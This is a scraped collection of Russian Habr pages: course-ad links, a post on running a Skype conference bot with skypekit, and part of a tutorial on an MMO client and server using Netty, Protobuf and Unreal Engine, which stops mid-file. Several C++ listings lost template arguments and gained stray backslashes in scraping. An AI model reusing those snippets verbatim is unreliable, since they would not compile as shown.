* [Курс по Data Engineering](https://skillfactory.ru/dataengineer?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_DEA&utm_term=regular&utm_content=190521)
Другие профессии и курсы**ПРОФЕССИИ**
* [Профессия Fullstack-разработчик на Python](https://skillfactory.ru/python-fullstack-web-developer?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_FPW&utm_term=regular&utm_content=190521)
* [Профессия Java-разработчик](https://skillfactory.ru/java?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_JAVA&utm_term=regular&utm_content=190521)
* [Профессия QA-инженер на JAVA](https://skillfactory.ru/java-qa-engineer?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_QAJA&utm_term=regular&utm_content=190521)
* [Профессия Frontend-разработчик](https://skillfactory.ru/frontend?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_FR&utm_term=regular&utm_content=190521)
* [Профессия Этичный хакер](https://skillfactory.ru/cybersecurity?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_HACKER&utm_term=regular&utm_content=190521)
* [Профессия C++ разработчик](https://skillfactory.ru/cplus?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_CPLUS&utm_term=regular&utm_content=190521)
* [Профессия Разработчик игр на Unity](https://skillfactory.ru/game-dev?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_GAMEDEV&utm_term=regular&utm_content=190521)
* [Профессия Веб-разработчик](https://skillfactory.ru/webdev?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_WEBDEV&utm_term=regular&utm_content=190521)
* [Профессия iOS-разработчик с нуля](https://skillfactory.ru/iosdev?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_IOSDEV&utm_term=regular&utm_content=190521)
* [Профессия Android-разработчик с нуля](https://skillfactory.ru/android?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_ANDR&utm_term=regular&utm_content=190521)
**КУРСЫ**
* [Курс по Machine Learning](https://skillfactory.ru/ml-programma-machine-learning-online?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_ML&utm_term=regular&utm_content=190521)
* [Курс "Machine Learning и Deep Learning"](https://skillfactory.ru/ml-and-dl?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_MLDL&utm_term=regular&utm_content=190521)
* [Курс "Математика для Data Science"](https://skillfactory.ru/math-stat-for-ds#syllabus?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_MAT&utm_term=regular&utm_content=190521)
* [Курс "Математика и Machine Learning для Data Science"](https://skillfactory.ru/math_and_ml?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_MATML&utm_term=regular&utm_content=190521)
* [Курс "Python для веб-разработки"](https://skillfactory.ru/python-for-web-developers?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_PWS&utm_term=regular&utm_content=190521)
* [Курс "Алгоритмы и структуры данных"](https://skillfactory.ru/algo?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_algo&utm_term=regular&utm_content=190521)
* [Курс по аналитике данных](https://skillfactory.ru/analytics?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_SDA&utm_term=regular&utm_content=190521)
* [Курс по DevOps](https://skillfactory.ru/devops?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_DEVOPS&utm_term=regular&utm_content=190521) | https://habr.com/ru/post/556936/ | null | ru | null |
# Skype-бот для голосовых конференций
Вероятно, некоторые помнят сервис Skype Casts — публичные голосовые конференции, где каждый мог создать конференцию, которая анонсировалась на сайте skype.com. В 2008 году сервис был закрыт.
Сегодня единственная возможность хостить конференцию — держать запущенным Skype-клиент.
Это не удобно, потому как человек, который «держит» конференц-звонок не может принять входящий вызов, иначе конференция будет поставлена на удержание и никто в ней не сможет общаться. Если у хоста проблемы с интернетом — связь портится у всех.
К тому же хостить звонок в котором 10-15 участников существенно нагружает компьютер.
Мы пытались решить эту задачу держа запущенным Skype на Windows-сервере. Чтобы звонок не обрывался когда все участники кладут трубку — приходилось запускать две копии клиента и держать второго как участника конференции.
Но такая схема не очень стабильна, через 3-5 дней один из клиентов вылетает и звонок обрывается. Приходилось каждый переподнимать его вручную.
И вот наконец удалось найти стабльное и просто решение на основе **skypekit** позволяющие:
**Постоянно держать звонок с помощью одной копии skypekit.**
Если все участники конференции положили трубки, звонок перезапускается как /golive
**Хостить бота на Linux-сервере без X-ов.**
Десктопный клиент требует для запуска X-сервер. Skypekit можно запускать без него, даже на VPS.
Доступен под все платформы Windows/Linux/Mac
**Управлять ботом через комманды в чате**
Бот умеет разграничивать права доступа, различать комманды отправленные из основного чата конференции и из других чатов.
При желании можно написать аналог irc-шного eggdrop.
**1) Качаем skypekit**
[developer.skype.com](https://developer.skype.com/)
Он стоит 5$. Если денег жалко я могу поделиться своим.
Компилируем заглушки для видео и звука. это немного неочевидный процесс, поэтому можно спрашивать по ходу).
**2) Берем skypebot.py отсюда [github.com/zhovner/skypebot](https://github.com/zhovner/skypebot)**
и кладем его в {skypekit\_dir}/examples/python/tutorial/
**3) Правим skypebot.py**
Предпологается, что у вас уже есть созданная конференций в которую будет добавлен бот.
Нельзя чтобы аккаунт бота был создателем конференции. Команда **/get creator** введенная чате конференции вернет логин создателя.
В строке 38 необходимо вставить ID конференции. Чтобы его получить нужно ввести **/get name** в чате конференции.
Команда возвращает такую строку **name=#skypename1/$skypename2;c7cddqc19522bab3**
В скрипт строку необходимо добавлять в таком виде:
```
conferenceID = '#skypename1/$skypename2;c7cddqc19522bab3'
```
В списке Admins (строка 43) можно перечислить логины тех кто сможет управлять ботом.
**4) Запускаем всю конструкцию**
```
# заглушка видео (в моем случае)
{skypekit_dir}/skypekit/reference/videortphost-loopback/build/videortphost-loopback
# сам skypekit
{skypekit_dir}/bin/linux-x86/linux-x86-skypekit-videortp
# бот (логин пароль от аккаунта передается через аргументы при запуске)
{skypekit_dir}/examples/python/tutorial/skypebot.py botskypename password
```
Теперь бот будет держать звонок постоянно.
Команды в чате:
!down — прекратить держать звонок
!up — возобновить звонок
**Внимание!**
Молодой парень срочно познакомится с более опытным Python-программистом для серьезных отношений в контексте совершенствования бота, потому как моих навыков явно недостаточно. В перспективе можно сделать полноценный аналог бота eggdrop или аналог сервиса SkypeCast.
 | https://habr.com/ru/post/163329/ | null | ru | null |
# MMO с нуля. С помощью Netty и Unreal Engine. Часть 1
Всем привет! В нескольких статьях я хотел бы поделиться опытом создания подобия ММО игры используя Unreal Engine и Netty. Возможно архитектура и мой опыт кому-то пригодится и поможет начать создавать свой игровой сервер в противовес unreal dedicated server, который слегка прожорлив или заменить собой фреймворки для разработки многопользовательских игр такие как Photon.
В конечном итоге у нас будет клиент, который логинится или регистрируется в игре, может создавать игровые комнаты, пользоваться чатом и начинать игры, соединение будет зашифровано, клиенты будут синхронизироваться через сервер, в игре будет присутствовать одно оружие — лазер, выстрел будет проверяться на проверочном сервере. Я не стремился сделать красивую графику, тут будет только необходимый минимум, дальнейший функционал добавляется по аналогии. Логику можно легко расширить на сервере, добавить например случайные игры и балансер. Для меня было важно создать ММО базу и разобраться с тем что понадобится для создания полноценной мобильной ММО игры.
[Часть 1. Общая картина, сборка библиотек, подготовка клиента и сервера к обмену сообщениями](https://habrahabr.ru/post/333788/)
[Часть 2. Наращивание игрового функционала + алгоритм Diamond Square](https://habrahabr.ru/post/334786/)
### Общая архитектура, как всё работает
В начале я опишу в общих чертах, а затем мы напишем всё шаг за шагом. Общение клиент сервер построено на сокетах, формат обмена сообщениями Protobuf, каждое сообщение после входа в игру шифруется с помощью алгоритма AES используя библиотеку OpenSSL на клиенте и javax.crypto\* на сервере, обмен ключами происходит с помощью протокола Диффи-Хеллмана. В качестве асинхронного сервера используется Netty, данные будем хранить в MySQL и использовать для выборки Hibernate. Я ставил целью поддержку игры на Android, поэтому мы уделим немного внимания портированию под эту платформу. Я назвал проект Spiky — колючий, и неспроста:
[As a primarily C++ programmer, Unreal Engine 4 isn't «fun» to develop with.](https://www.reddit.com/r/unrealengine/comments/3nqb91/as_a_primarily_c_programmer_unreal_engine_4_isnt/)
Если я что то пропустил или что-то не сходится смело обращайтесь к исходникам:
[Spiky source code](https://github.com/VadimDev/Spiky-Project)
В конечном счёте вот что у нас получится:
Начнем с того как происходит общение между клиентом и сервером. Оба обладают MessageDecoder и DecryptHandler, это точки входа для сообщений, после чтения пакета, сообщения дешифруются, определяется их тип и по типу отправляются на какой-то обработчик. Точка выхода MessageEncoder и EncryptHandler, клиента и сервера соответственно. Когда мы в Netty отправляем сообщение, оно будет проходить через EncryptHandler. Тут принимается решение нужно ли шифровать, и как обёртывать.
Каждое сообщение, оборачивается в протобаф Wrapper, получатель проверяет что внутри Wrapper, для выбора обработчика, это может быть CryptogramWrapper — шифрованные байты или открытые сообщения. Сообщение Wrapper будет выглядеть примерно так (часть его):
```
message CryptogramWrapper {
bytes registration = 1;
}
message Wrapper {
Utility utility = 1;
CryptogramWrapper cryptogramWrapper = 2;
}
```
Весь обмен сообщениями построен на принципе Decoder-Encoder, если нам надо добавить новую команду в игру, нужно обновить условия. Например клиент хочет зарегистрироваться, сообщение попадает в MessageEncoder, где шифруется, оборачивается и отправляется на сервер. На сервере сообщение поступает на DecryptHandler, дешируется если надо, читается тип по наличию у сообщения полей и отправляется на обработку
```
if(wrapper.hasCryptogramWrapper())
{
if(wrapper.getCryptogramWrapper().hasField(registration_cw))
{
byte[] cryptogram = wrapper.getCryptogramWrapper().getRegistration().toByteArray();
byte[] original = cryptography.Decrypt(cryptogram, cryptography.getSecretKey());
RegModels.Registration registration = RegModels.Registration.parseFrom(original);
new Registration().saveUser(ctx, registration);
}
else if (wrapper.getCryptogramWrapper().hasField(login_cw)) {}
}
```
Для того чтобы найти поле в сообщении используя .hasField, нам понадобится набор дескрипторов (registration\_cw, login\_cw) мы их будем хранить отдельно в классе Descriptors.
Итак, если нам нужен новый функционал, то мы
1. Создаём новый тип Protobuf сообщения, вкладываем его в Wrapper/CryptogramWrapper
2. Объявляем поля к которым нужен доступ в дескрипторах клиента и сервера
3. Создаём класс логики в который после определения типа отправляем сообщение
4. Добавляем условие определяющее новый тип в Decode-Encoder клиента и сервера
5. Обрабатываем
Эта ключевой момент который придётся повторять множество раз.
В этом проекте я использовал протокол TCP, конечно лучше писать свою надстроку над UDP, что я и пробовал делать вначале, но всё что у меня выходило, было похоже на TCP единственный минус которого, в моей ситуации, невозможность отключить подтверждение пакетов, TCP ждёт подтверждения, прежде чем продолжить отправку, это создаёт задержки, и добиться пинга меньше 100 будет сложно, если пакет будет потерян при передаче по сети, игра останавливается и ждет, пока пакет не будет доставлен повторно. К сожалению, изменить такое поведение TCP никак нельзя, да и не надо, так как в нем и заключается смысл TCP. Выбор типа сокетов полностью зависит от жанра игры, в играх жанра action важно не то что происходило секунду назад, а важно наиболее актуальное состояние игрового мира. Нам нужно, чтобы данные доходили от клиента к серверу как можно быстрее, и мы не хотим ждать повторной отправки данных. Вот почему не следует использовать TCP для многопользовательских игр.
Но если мы хотим сделать reliable udp нас ждут трудности, нам нужно реализовать упорядоченность, возможность включения отключения подтверждения доставки, контроль загруженности канала, отправку больших сообщений, больше 1400 байт. Action игры должны использовать UDP для тех кто хочет почитать про это подробнее советую начать с этих статей и книги:
[Сетевое программирование для разработчиков игр. Часть 1: UDP vs. TCP](https://habrahabr.ru/post/209144/)
[Реализация Reliable Udp протокола для .Net](https://habrahabr.ru/post/250227/)
Джошуа Глейзер – Многопользовательские игры. Глава 7 задержки, флуктуация и надёжность.
Мне нужно было надёжное, последовательное соединение, для передачи команд, зашифрованных сообщений и файлов (капча). TCP даёт мне такие возможности из коробки. Для передачи игровых данных, часто обновляемых и не очень важных, таких как перемещение игроков, UDP лучший вариант, я добавил возможность отправки UDP сообщений для полноты и чтобы было с чего начать, но в этом проекте всё общение будет происходить посредством TCP. Возможно стоит использовать TCP и UDP совместно? Однако тогда увеличивается количество потерянных UDP пакетов, так как TCP приоритетнее. UDP остался в области дальнейших улучшений. В этой статье я следую принципу «Done in better when pefect»
В основе сервера лежит Netty, он берет на себя работу с сокетами, реализуя удобную архитектуру. Можно подключить несколько обработчиков для входящих данных. В первом обработчике мы десериализируем входящее сообщение используя ProtobufDecoder, а далее обрабатываем непосредственно игровые данные. При этом можно гибко управлять настройками самой библиотеки, выделять ей необходимое число потоков или памяти. C помощью Netty можно быстро и просто написать любое клиент-серверное приложение, которое будет легко расширяться и масштабироваться. Если для обработки клиентов не хватает одного потока, следует всего лишь передать нужное число потоков в конструктор EventLoopGroup. Если на какой-то стадии развития проекта понадобится дополнительная обработка данных, не нужно переписывать код, достаточно добавить новый обработчик в ChannelPipeline, что значительно упрощает поддержку приложения.
Общая архитектура при использовании Netty у нас выглядит так:
```
public class ServerInitializer extends ChannelInitializer {
@Override
protected void initChannel(SocketChannel ch) throws Exception {
ChannelPipeline pipeline = ch.pipeline();
/\* отладка \*/
//pipeline.addLast(new LoggingHandler(LogLevel.INFO));
/\* разворачиваем сообщения \*/
// Decoders protobuf
pipeline.addLast(new ProtobufVarint32FrameDecoder());
pipeline.addLast(new ProtobufDecoder(MessageModels.Wrapper.getDefaultInstance()));
/\* оборачиваем сообщения \*/
// Encoder protobuf
pipeline.addLast(new ProtobufVarint32LengthFieldPrepender());
pipeline.addLast(new ProtobufEncoder());
/\* Соединение закрывается если не было входящих сообщений в течении 30 секунд \*/
pipeline.addLast(new IdleStateHandler(30, 0, 0));
/\* зашифруем исходящее сообщение \*/
pipeline.addLast(new EncryptHandler());
/\* расшифруем входящее сообщение \*/
pipeline.addLast(new DecryptHandler());
}
}
```
Плюс такого подхода в том что сервер и обработчики можно разнести по разным машинам получив кластер для расчетов игровых данных, получаем довольно гибкую структуру. Пока нагрузки маленькие можно держать все на одном сервере. При возрастании нагрузки логику можно выделить в отдельную машину.
Для проверки попаданий я создал специальный Unreal Engine клиент, задача которого принимать параметры выстрела, размещать объект в мире, на основе того где он был в момент выстрела, симулировать выстрел возвращая основному серверу информацию о попадании, имя объекта перекрытия, кость если есть, или же что промахнулись.
### Начнём с нуля
Я старался писать подробно, но многое вынес под спойлер.
Создадим пустой проект с кодом назовём его Spiky. Первым делом удалим созданный по умолчанию GameMode (это класс, определяющий правила текущей игры, может быть переопределен для каждого конкретного уровня, чем мы далее воспользуемся, существует только один экземпляр GameMode) – удалим Spiky\_ClientGameModeBase созданный автоматически. Далее откроем Spiky\_Client.Build.cs, это часть Unreal Build System в котором мы подключаем различные модули, сторонние библиотеки а так же настраиваем различные сборочные переменные, по умолчанию начиная с версии 4.16 используется режим SharedPCH (Sharing precompiled headers), а так же Include-What-You-Use (IWYU), позволяющий не включать тяжелые заголовки Engine.h. В предыдущих версиях Unreal Engine большая часть функциональности движка была включена через файлы с заголовком модуля, такие как Engine.h и UnrealEd.h, а время компиляции зависело от того, как быстро эти файлы могли быть скомпилированы через Precompiled Header (PCH). По мере роста движка это стало узким местом.
[IWYU Reference Guide](https://docs.unrealengine.com/latest/INT/Programming/UnrealBuildSystem/IWYUReferenceGuide/index.html)
В Spiky\_Client.Build.cs мы видим
`PCHUsage = PCHUsageMode.UseExplicitOrSharedPCHs;`
Работает хорошо на быстрых машинах с ssd (для работы с unreal – must have иначе головная боль, еще советую отключить IntelliSense и использовать вместо него VisualAssist) но не обладающим ssd машинам, для удобства и скорости я посоветовал бы переключиться на другой режим, который меньше пишет на диск, что мы и сделаем, включив PCHUsageMode.Default тем самым отключив генерацию Precompiled Header.
Все возможные значения PCHUsage:
`PCHUsage = PCHUsageMode.UseExplicitOrSharedPCHs;
PCHUsage = PCHUsageMode.UseSharedPCHs;
PCHUsage = PCHUsageMode.NoSharedPCHs;
PCHUsage = PCHUsageMode.Default;`
Сейчас наш файл содержит следующее:
**Spiky\_Client.Build.cs**
```
using UnrealBuildTool;
public class Spiky_Client : ModuleRules
{
public Spiky_Client(ReadOnlyTargetRules Target) : base(Target)
{
PCHUsage = PCHUsageMode.Default;
PublicDependencyModuleNames.AddRange(new string[] { "Core", "CoreUObject", "Engine", "InputCore" });
PrivateDependencyModuleNames.AddRange(new string[] { });
}
}
```
В чем отличие PublicDependencyModuleNames от PrivateDependencyModuleNames? В Unreal проектах желательно использовать Source/Public и Source/Private для заголовков-интерфейсов и исходного кода, тогда PublicDependencyModuleNames будут доступны в Public и Private папках, но PrivateDependencyModuleNames будет доступен только в папке Private. Разные другие параметры сборки можно изменить переопределив BuildConfiguration.xml, все параметры можно узнать тут:
[Configuring Unreal Build System](https://docs.unrealengine.com/latest/INT/Programming/UnrealBuildSystem/Configuration/)
**Незначительные настройки редактора для удобства**
Включим мелкие иконки, отображение frame rate и потребление памяти:
General->Miscellaneous->Performance->Show Frame Rate and Memory
General->User Interface->Use Small Tool Bar Icons
Двигаемся дальше, добавим вне игровой GameMode для экранов логина, регистрации и главного меню.
**Добавление SpikyGameMode**
File->New C++ Class->Game Mode Base назовём SpikyGameMode, выберем public и создадим папку GameModes. Конечный путь должен выглядеть так:
Spiky/Spiky\_Client/Source/Spiky\_Client/Public/GameModes
Задачей SpikyGameMode будет создание верной ссылки на мир. Мир это объект верхнего уровня, представляющий карту в которой акторы и компоненты будут существовать и визуализироваться. Позже мы создадим класс DiffrentMix унаследованный от UObject в котором будем управлять интерфейсом, для создания виджетов нужна ссылка на текущий мир, которую из классов UObject получить нельзя, поэтому мы создадим GameMode через который инициализируем DiffrentMix и передадим ему ссылку на мир.
Отдельное слово об интерфейсе, это относится к архитектуре клиента. У нас доступ ко всем виджетам, происходит через синглтон DifferentMix, все виджеты размещаются внутри WidgetsContainer, который нам понадобится чтобы размещать виджеты слоями глубину которых можно задать, корень WidgetsContainer это Canvas к сожалению я не нашел способ изменять порядок виджетов используя Viewport. Это удобно когда нужно например чтобы чат гарантированно был поверх всего остального. Для этого выставляем его виджету максимальную глубину (приоритет) у нас в программе mainMenuChatSlot->SetZOrder(10), однако приоритет может быть любой.
Добавим класс DifferentMix, родитель UObject базовый класс для всех объектов, разместим в новой папке Utils Здесь мы будем хранить ссылки на виджеты, редкие функции для которых создавать свои классы было бы лишним, это синглтон через который мы будем управлять пользовательским интерфейсом.
Добавим SpikyGameInstance производный от UGameInstance класс, универсального UObject, который может хранить любые данные переносимые между уровнями. Он создается при создании игры, и существует до тех пор, пока игра не будет закрыта. Мы будем его использовать для хранения уникальных игровых данные, таких как логин игрока, id игровой сессии, ключ шифрования, так же тут мы запускаем и останавливаем потоки слушающие сокеты, и через него мы будем получать доступ к функциям DifferentMix.
**Расположение новых классов**
Spiky\_Client/Source/Spiky\_Client/Private/GameModes/SpikyGameMode.h
Spiky\_Client/Source/Spiky\_Client/Private/Utils/DifferentMix.h
Spiky\_Client/Source/Spiky\_Client/Private/SpikyGameInstance.h
Spiky\_Client/Source/Spiky\_Client/Public/GameModes/SpikyGameMode.cpp
Spiky\_Client/Source/Spiky\_Client/Public/Utils/DifferentMix.cpp
Spiky\_Client/Source/Spiky\_Client/Public/SpikyGameInstance.cpp
Земетьте, возможно из редактора игра после добавления новых классов откажется собираться, это из-за того что мы переключились на режим который требует наличие #include «Spiky\_Client.h» во всех исходных файлах, добавим его вручную и соберем через студию, дальше я не добавляю новый код через редактор, я копирую, редактирую вручную и нажимаю на Spiky\_Client.uproject пкм Generate Visual Studio project files.
Вернёмся к редактору, создадим папку Maps и сохраним в ней стандартную карту, назовём её MainMap позже мы разместим на ней вращающегося меха (или выбор игрового персонажа как во многих ММО).
Откроем Project Settings → Maps & Modes и выставим созданные GameMode/GameInstance/Map как на снимке:
### Сетевая часть
С подготовкой всё, начнём писать проект с сетевой части реализуем подключение к серверу, восстановление соединения при его потере, слушатели входящих сообщений и поток проверяющий доступность сервера. Главный объект на клиенте через который мы работаем с сетью, обслуживаем сокеты, будет называться SocketObject производный от UObject, добавим его в папку Net. Так как мы используем сеть, нужно добавить модули «Networking», «Sockets» в Spiky\_Client.Build.cs
```
PublicDependencyModuleNames.AddRange(new string[] { "Core", "CoreUObject", "Engine", "InputCore", "Networking", "Sockets" });
```
Добавим в заголовок SocketObject деструктор, ряд самоописуемых статических функций и нужные нам инклуды SocketSubsystem и Networking.
**SocketObject.h**
```
// Copyright (c) 2017, Vadim Petrov - MIT License
#pragma once
#include "CoreMinimal.h"
#include "UObject/NoExportTypes.h"
#include "Networking.h"
#include "SocketSubsystem.h"
#include "SocketObject.generated.h"
/**
* Главный сетевой объект, создаёт сокет, отвечает за подключение-отключение и т.п
*/
UCLASS()
class SPIKY_CLIENT_API USocketObject : public UObject
{
GENERATED_BODY()
~USocketObject();
public:
// tcp
static FSocket* tcp_socket;
// tcp адрес сервера
static TSharedPtr tcp\_address;
// состояние соединения
static bool bIsConnection;
// переподключиться если соединение потерянно
static void Reconnect();
// проверить онлайн ли сервер
static bool Alive();
// udp
static FSocket\* udp\_socket;
// udp адрес сервера
static TSharedPtr udp\_address;
// мы не создаём отдельный поток для UDP сокет слушателя, у unreal имеется FUdpSocketReceiver, создадим и делегируем входящие сообщения на ф-ю
static FUdpSocketReceiver\* UDPReceiver;
static void Recv(const FArrayReaderPtr& ArrayReaderPtr, const FIPv4Endpoint& EndPt);
static void RunUdpSocketReceiver();
static int32 tcp\_local\_port;
static int32 udp\_local\_port;
// инициализируем сокеты когда запускаем игру, в GameInstance
static void InitSocket(FString serverAddress, int32 tcp\_local\_p, int32 tcp\_server\_port, int32 udp\_local\_p, int32 udp\_server\_port);
};
```
Теперь в исходниках, начнём с создания сокетов в InitSocket, выделим буфер, назначим локальные порты, мне известны два способа создания сокетов, один из них билдером:
```
tcp_socket = FTcpSocketBuilder("TCP_SOCKET")
.AsNonBlocking()
.AsReusable()
.WithReceiveBufferSize(BufferSize)
.WithSendBufferSize(BufferSize)
.Build();
```
Или через ISocketSubsystem:
```
tcp_socket = ISocketSubsystem::Get(PLATFORM_SOCKETSUBSYSTEM)->CreateSocket(NAME_Stream, TEXT("TCP_SOCKET"), false);
```
Это базовые абстракции различных сокет интерфейсов, специфичных для конкретной платформы. Так как мы задаём адрес где-то в файле конфигурации или коде строкой нам следует привести его в нужный вид, для этого используем FIPv4Address::Parse, после чего подключаемся и вызываем bIsConnection = Alive(); Метод отправляет пустые сообщения серверу, если доходят значит связь есть. Напоследок создадим UDP сокет с помощью FUdpSocketBuilder, итоговый вид InitSocket должен быть таким:
**USocketObject::InitSocket**
```
void USocketObject::InitSocket(FString serverAddress, int32 tcp_local_p, int32 tcp_server_port, int32 udp_local_p, int32 udp_server_port)
{
int32 BufferSize = 2 * 1024 * 1024;
tcp_local_port = tcp_local_p;
udp_local_port = udp_local_p;
// tcp
/* пример FTcpSocketBuilder
tcp_socket = FTcpSocketBuilder("TCP_SOCKET")
.AsNonBlocking() // Socket connect always success. Non blocking you say socket connect dont wait for response (Don?t block) so it will return true.
.AsReusable()
.WithReceiveBufferSize(BufferSize)
.WithSendBufferSize(BufferSize)
.Build();
*/
tcp_socket = ISocketSubsystem::Get(PLATFORM_SOCKETSUBSYSTEM)->CreateSocket(NAME_Stream, TEXT("TCP_SOCKET"), false);
tcp_address = ISocketSubsystem::Get(PLATFORM_SOCKETSUBSYSTEM)->CreateInternetAddr();
FIPv4Address serverIP;
FIPv4Address::Parse(serverAddress, serverIP);
tcp_address->SetIp(serverIP.Value);
tcp_address->SetPort(tcp_server_port);
tcp_socket->Connect(*tcp_address);
bIsConnection = Alive();
// udp
udp_address = ISocketSubsystem::Get(PLATFORM_SOCKETSUBSYSTEM)->CreateInternetAddr();
FIPv4Address::Parse(serverAddress, serverIP);
udp_address->SetIp(serverIP.Value);
udp_address->SetPort(udp_server_port);
udp_socket = FUdpSocketBuilder("UDP_SOCKET")
.AsReusable()
.BoundToPort(udp_local_port)
.WithBroadcast()
.WithReceiveBufferSize(BufferSize)
.WithSendBufferSize(BufferSize)
.Build();
}
```
Закрываем сокеты и удаляем их в деструкторе
```
if (tcp_socket != nullptr || udp_socket != nullptr)
{
tcp_socket->Close();
delete tcp_socket;
delete udp_socket;
}
```
Текущее состояние SocketObject такое:
**SocketObject.cpp**
```
// Copyright (c) 2017, Vadim Petrov - MIT License
#include "Spiky_Client.h"
#include "SocketObject.h"
FSocket* USocketObject::tcp_socket = nullptr;
TSharedPtr USocketObject::tcp\_address = nullptr;
bool USocketObject::bIsConnection = false;
FSocket\* USocketObject::udp\_socket = nullptr;
TSharedPtr USocketObject::udp\_address = nullptr;
FUdpSocketReceiver\* USocketObject::UDPReceiver = nullptr;
int32 USocketObject::tcp\_local\_port = 0;
int32 USocketObject::udp\_local\_port = 0;
USocketObject::~USocketObject()
{
if (tcp\_socket != nullptr || udp\_socket != nullptr)
{
tcp\_socket->Close();
delete tcp\_socket;
delete udp\_socket;
}
}
void USocketObject::InitSocket(FString serverAddress, int32 tcp\_local\_p, int32 tcp\_server\_port, int32 udp\_local\_p, int32 udp\_server\_port)
{
int32 BufferSize = 2 \* 1024 \* 1024;
tcp\_local\_port = tcp\_local\_p;
udp\_local\_port = udp\_local\_p;
/\*
tcp\_socket = FTcpSocketBuilder("TCP\_SOCKET")
.AsNonBlocking() // Socket connect always success. Non blocking you say socket connect dont wait for response (Don?t block) so it will return true.
.AsReusable()
.WithReceiveBufferSize(BufferSize)
.WithSendBufferSize(BufferSize)
.Build();
\*/
// tcp
tcp\_socket = ISocketSubsystem::Get(PLATFORM\_SOCKETSUBSYSTEM)->CreateSocket(NAME\_Stream, TEXT("TCP\_SOCKET"), false);
// create a proper FInternetAddr representation
tcp\_address = ISocketSubsystem::Get(PLATFORM\_SOCKETSUBSYSTEM)->CreateInternetAddr();
// parse server address
FIPv4Address serverIP;
FIPv4Address::Parse(serverAddress, serverIP);
// and set
tcp\_address->SetIp(serverIP.Value);
tcp\_address->SetPort(tcp\_server\_port);
tcp\_socket->Connect(\*tcp\_address);
// set the initial connection state
bIsConnection = Alive();
// udp
udp\_address = ISocketSubsystem::Get(PLATFORM\_SOCKETSUBSYSTEM)->CreateInternetAddr();
FIPv4Address::Parse(serverAddress, serverIP);
udp\_address->SetIp(serverIP.Value);
udp\_address->SetPort(udp\_server\_port);
udp\_socket = FUdpSocketBuilder("UDP\_SOCKET")
.AsReusable()
.BoundToPort(udp\_local\_port)
.WithBroadcast()
.WithReceiveBufferSize(BufferSize)
.WithSendBufferSize(BufferSize)
.Build();
}
void USocketObject::RunUdpSocketReceiver()
{
}
void USocketObject::Recv(const FArrayReaderPtr& ArrayReaderPtr, const FIPv4Endpoint& EndPt)
{
}
void USocketObject::Reconnect()
{
}
bool USocketObject::Alive()
{
return false;
}
```
Займемся методом отправкой Alive сообщений, форматом сообщений и сервером. В основе сервера я использовал ассинхронный фреймворк Netty написанный на java. Основное преимущество которого проста чтения и записи в сокеты. Netty поддерживает неблокирующий асинхронный ввод-вывод, легко масштабируется, что важно для онлайн игры, если ваша система должна иметь возможность обрабатывать многие тысячи соединений одновременно. И что тоже важно — Netty легко использовать.
Создадим сервер, тут пользуемся IntelliJ IDEA, создаём Maven проект:
```
com.spiky.server
Spiky server
```
Добавляем необходимые нам зависимости, Netty
```
io.netty
netty-all
4.1.8.Final
```
Теперь разберёмся с форматом сериализации сообщений. Мы используем Protobuf. Размер сообщения выходит предельно малым, и судя по графикам он во всем превосходит JSON.
**Сравнение размера**
**Сравнение производительности**
\*взято [отсюда, хороший материал, с примерами протобафа и разными метриками](http://homepages.lasige.di.fc.ul.pt/~vielmo/notes/2014_02_12_smalltalk_protocol_buffers.pdf)
Для того чтобы определить структуру сериализуемых данных, необходимо создать .proto-файл с исходным кодом этой структуры например:
```
syntax = "proto3";
message Player {
string player_name = 1;
string team = 2;
int32 health = 3;
PlayerPosition playerPosition = 4;
}
message PlayerPosition {}
```
После чего эта структура данных, компилируется в классы специальным компилятором, protoc, команда компиляции выглядит так:
`./protoc --cpp_out=. --java_out=. GameModels.proto`
У протобафа хорошая [документация](https://developers.google.com/protocol-buffers/docs/proto3) которая лучше поможет понять значение каждого поля.
Протобаф реализован для Java и C++ используемым нашим проектом. Добавим еще одну зависимость:
```
com.google.protobuf
protobuf-java
3.0.0-beta-4
```
Теперь нужно добавить поддержку протобафа в Unreal это уже не так просто, для начала получаем [ветку с github](https://github.com/google/protobuf/tree/3.0.0-beta-4). Теперь нужно правильно собрать, инструкцию как собрать через Visual Studio можно найти [тут](https://github.com/google/protobuf/blob/master/cmake/README.md). Выставить тип линковки для анриала «Filter through to Configuration Properties > C/C++ > Code Generation > Runtime Library, from the drop down list select Multi-threaded DLL (/MD)» [смотрите Linking Static Libraries Using The Build System](https://wiki.unrealengine.com/Linking_Static_Libraries_Using_The_Build_System) и собрать libprotobuf.lib. После добавим в проект, создадим в корне папку ThirdParty/Protobuf в которой нужно создать Libs и Includes. Поместить /protobuf-3.0.0-beta-4/cmake/build/solution/Release/libprotobuf.lib в Libs. Поместить /proto-install/include/google в Includes.
Так как моя цель была в поддержке мобильных устройств, нам понадобится собрать библиотеку еще и для Android с помощью Android NDK, [список файлов для компиляции можно взять тут](https://github.com/google/protobuf/blob/master/BUILD), в начале lite, потом остальное. Сам процесс выглядит так, установите Android NDK, создайте папку jni поместите в них два файла Android.mk и Application.mk, там же создайте src в которую скопируйте src из protobuf-3.0.0-beta-4/src и воспользуйтесь ndk-build. Готовые файлы Application.mk и Android.mk:
**Application.mk**
`APP_OPTIM := release
APP_ABI := armeabi-v7a #x86 x86_64
APP_STL := gnustl_static
NDK_TOOLCHAIN_VERSION := clang
APP_CPPFLAGS += -D GOOGLE_PROTOBUF_NO_RTTI=1
APP_CPPFLAGS += -D __ANDROID__=1
APP_CPPFLAGS += -D HAVE_PTHREAD=1`
**Android.mk**
`LOCAL_PATH := $(call my-dir)
include $(CLEAR_VARS)
LOCAL_MODULE := libprotobuf
LOCAL_SRC_FILES :=\
src/google/protobuf/arena.cc \
